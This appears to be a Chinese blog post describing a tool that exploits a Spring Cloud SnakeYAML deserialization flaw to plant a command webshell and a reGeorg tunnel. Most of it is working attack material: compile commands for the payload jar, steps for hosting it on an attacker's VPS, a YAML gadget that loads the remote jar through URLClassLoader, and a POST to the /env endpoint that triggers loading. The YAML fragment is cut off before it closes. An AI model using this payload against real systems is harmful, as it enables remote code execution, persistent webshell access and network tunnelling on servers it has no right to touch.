添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
大方的烤地瓜  ·  snippet/snippet/docs/s ...·  4 天前    · 
玉树临风的眼镜  ·  ERROR: ...·  4 天前    · 
不拘小节的口罩  ·  converting a .lib ...·  4 天前    · 
潇洒的钥匙  ·  python - run shell ...·  6 天前    · 
憨厚的硬盘  ·  Exception in thread ...·  1 周前    · 
道上混的创口贴  ·  Ignition Designer ...·  4 周前    · 
会开车的铁板烧  ·  echo | Microsoft Learn·  3 月前    · 
取消 归档 专栏 分类 标签 笔记 朋友 作品

Spring Cloud SnakeYAML 一键注册cmd shell和reGeorg

警告
本文最后更新于 2020-09-24 ,文中内容可能已过时。

使用Spring Cloud SnakeYAML的反序列化漏洞一键注册cmd shell和reGeorg

# 项目地址

https://github.com/Y4er/yaml-payload

# README

Spring Cloud SnakeYAML 一键注册cmd shell和reGeorg

利用条件:

仅在JDK1.8及Spring1.x测试通过,其他版本自测.

利用方法如下:

1
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

1
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 yaml-payload.yml ,内容如下:

1
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]

在网站根目录下放置打包好的 yaml-payload.jar

1
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml
1